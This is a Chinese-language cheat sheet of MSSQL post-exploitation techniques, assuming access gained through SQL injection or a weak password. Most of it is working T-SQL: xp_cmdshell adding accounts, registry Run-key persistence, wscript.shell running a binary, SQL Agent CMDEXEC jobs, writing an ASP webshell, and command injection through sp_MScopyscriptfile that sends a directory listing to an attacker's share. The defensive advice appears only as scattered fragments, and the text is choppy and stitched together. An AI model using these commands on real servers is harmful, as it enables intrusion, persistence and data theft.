假設已透過 SQL 注入或弱口令取得 1433 連線權限,以下為駭客常用的六種在 MSSQL 執行系統指令、提權或植入後門的手法,並附上對應防禦建議。
EXEC xp_cmdshell 'cmd.exe /c net user aaa bbb /add'
EXEC sp_dropextendedproc 'xp_cmdshell'。EXEC sp_addextendedproc xp_cmdshell, @dllname='xplog70.dll' (SQL 2000) / xpsql70.dll (SQL 7.0)。xplog70.dll → 重啟服務。物理刪除 DLL 根絕濫用。EXEC xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'czy82', 'REG_SZ', 'net user czy bb /add'
DECLARE @s INT
EXEC sp_oacreate 'wscript.shell', @s OUT
EXEC sp_oamethod @s, 'run', NULL, 'cmd.exe /c server.exe'
-- 進階:寫入暫存檔再用 FSO 讀回結果
DECLARE @o INT, @f INT, @str NVARCHAR(4000)
EXEC sp_oacreate 'scripting.filesystemobject', @o OUT
EXEC sp_oamethod @o, 'opentextfile', @f OUT, 'c:\temp.txt', 1
EXEC sp_oamethod @f, 'readall', @str OUT
PRINT @str
USE msdb
EXEC sp_add_job @job_name='czy82'
EXEC sp_add_jobstep @job_name='czy82', @step_name='Exec', @subsystem='CMDEXEC', @command='dir c:\ > c:\b.txt'
EXEC sp_add_jobserver @job_name='czy82', @server_name='smscomputer'
EXEC sp_start_job @job_name='czy82'
xp_execresultset 可讓 public 角色間接執行 xp_cmdshell。EXEC sp_add_job @job_name='ArbitraryFileCreate', @output_file_name='c:\sqlafc123.txt'
EXEC sp_add_jobstep @job_name='ArbitraryFileCreate', @subsystem='TSQL', @command='select ''hello'''
EXEC sp_start_job @job_name='ArbitraryFileCreate'
@subsystem='CMDEXEC' 避免輸出檔頭部雜訊。EXEC sp_makewebtask @outputfile='d:\sms\a.asp', @query='select ''<form method=POST>...'''
-- 或
DECLARE @cmd VARCHAR(100), @sf VARCHAR(200)
SET @cmd='dir c:\ > "\\attacker\share\dir.txt"'
SET @sf='c:\autoexec.bat > nul" | ' + @cmd + ' | rd "'
EXEC sp_MScopyscriptfile @sf, ''
xplog70.dll、xpsql70.dll。sysjobs、sysjobsteps 異常作業。